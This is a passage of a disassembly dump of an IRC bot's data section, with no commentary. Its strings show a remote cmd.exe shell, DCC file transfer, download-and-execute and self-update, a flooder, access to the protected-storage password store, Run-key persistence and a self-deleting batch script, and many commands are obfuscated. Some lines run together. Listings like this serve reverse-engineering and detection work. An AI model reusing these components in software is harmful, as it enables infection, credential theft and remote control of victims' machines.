0D5D48F94h, 0EEh, 0 dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:off_418000o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 95h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh aExecuting db ', executing',0 ; DATA XREF: sub_402A32+6B0o aUpdating db ', updating',0 ; DATA XREF: sub_402A32+699o align 4 unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh aFile db 'file://',0 ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 a_exe db '.exe',0 ; DATA XREF: sub_403260+43o ; sub_412720+51o align 4 aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775haModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h aXsUlsbNP db '•‘Àž«˜¡Ð¾°¶',0 ; DATA XREF: sub_4043E9+6o align 10h a10_ db '10.',0 ; DATA XREF: sub_4041B7+56o a192_168_ db '192.168.',0 ; DATA XREF: sub_4041B7+3Bo align 10h a172_ db '172.',0 ; DATA XREF: sub_4041B7+20o align 4 a127_ db '127.',0 ; DATA XREF: sub_4041B7+5o align 10h aU_U_U_U db '%u.%u.%u.%u',0 ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao a1 db '::1',0 ; DATA XREF: sub_40435B+42o aU_0 db '%u',0 ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... align 4 aU_U_U_UU_0 db '%u.%u.%u.%u:%u',0 ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... align 4 aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .data:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h aListProcesses db 'List processes',0 ; DATA XREF: sub_4064BF+31o align 4 a02x db '%02X',0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... align 4 a08x db '%08X',0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o align 4 aS db '%s',0 ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... align 4 aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset aOxULN ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... ; "Ž•ÄÑîÔ«Æ" off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset aLxULN ; "«•ÖÃîÔ«Æ" dd offset dword_418DA8 dd offset aBxQ ; "•ÅóŸ¶Û" dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset aScIRns ; "‘–ØßÔ‰¸è»" dd offset dword_418C6C dd offset aGkQ ; "ƒŠÐóŸ¶Û" dd offset dword_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h ; DATA XREF: .data:00418BE4o dd 0D1A28AE5h, 0ACF5BAh, 0 dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0)dword_418C24 dd 0DCC796A3h, 0CAAF99F4h, 0F3B0FFA1h, 0D48EB4B7h, 0D1F0C690h ; DATA XREF: .data:00418BDCo dd 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h, 87h, 0 aGkQ db 'ƒŠÐóŸ¶Û',0 ; DATA XREF: .data:00418BD8o align 4 dd 0 aScIRns db '‘–ØßÔ‰¸è»',0 ; DATA XREF: .data:00418BD0o dd 0 dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh ; DATA XREF: .data:00418BCCo ; .data:00418BD4o dd 0EDh, 0 dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0)dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h ; DATA XREF: .data:00418BC4o dd 0D2A29BEAh, 2 dup(0) dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0)dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0)dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0) ; DATA XREF: .data:00418BB4o dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0)dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0)dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h ; DATA XREF: .data:00418BA4o ; .data:00418BACo dd 0D1A78EFCh, 0A6h, 0 dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch ; DATA XREF: .data:00418B9Co dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0 aBxQ db '•ÅóŸ¶Û',0 ; DATA XREF: .data:00418B98o align 8 aLxULN db '«•ÖÃîÔ«Æ',0 ; DATA XREF: .data:00418B90o align 8 dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h ; DATA XREF: .data:off_418B8Co ; .data:00418B94o dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0) aOxULN db 'Ž•ÄÑîÔ«Æ',0 ; DATA XREF: .data:off_418B88o align 10h asc_418DE0 db ':)',0 ; DATA XREF: sub_406A23+9Co align 4 asc_418DE4: ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... unicode 0, <\>,0 aExplorer_exe db '\explorer.exe',0 ; DATA XREF: sub_406B81+1Bo align 4 aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h aRejected db ' rejected',0 ; DATA XREF: sub_40732D:loc_407423o align 4 dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; sub_407928+96o ... dword_418F50 dd 30h ; sub_40CA29+13Do ... aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 9ED9958Fh, 0A395FEh, 0dword_418F6C dd 9EC09195h, 0CCBC9FE9h, 0BCBDBEA9h, 0C395FB96h, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 9ED9958Fh, 9FF9h, 0aJzFl db '†‡Âݳ”«Ê',0 ; DATA XREF: sub_408887+30o align 10h dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h ; DATA XREF: .data:00418FD8o dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h dd 2 dup(0) dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh ; DATA XREF: .data:00418FD4o dd 0 dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h ; DATA XREF: .data:00418FD0o dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h dd 92AD9Eh, 0 dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h ; DATA XREF: .data:00418FCCo dd 97F2h, 0 dword_4190B4 dd 0D1C38786h, 91A09FB2h, 0FCB9F9AAh, 0C385A098h, 9FC38887h ; DATA XREF: .data:off_418FC8o dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h dd 0B6F0E2ADh, 0B083h, 0 dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh ; DATA XREF: .data:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo ; .data:0041BD9Co align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o ; .data:0041BD90o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; sub_408F2E+24Ao aUnknown_0 db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775haBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS_0 db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0dword_4194CC dd 3430032Dh, 2037802haNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 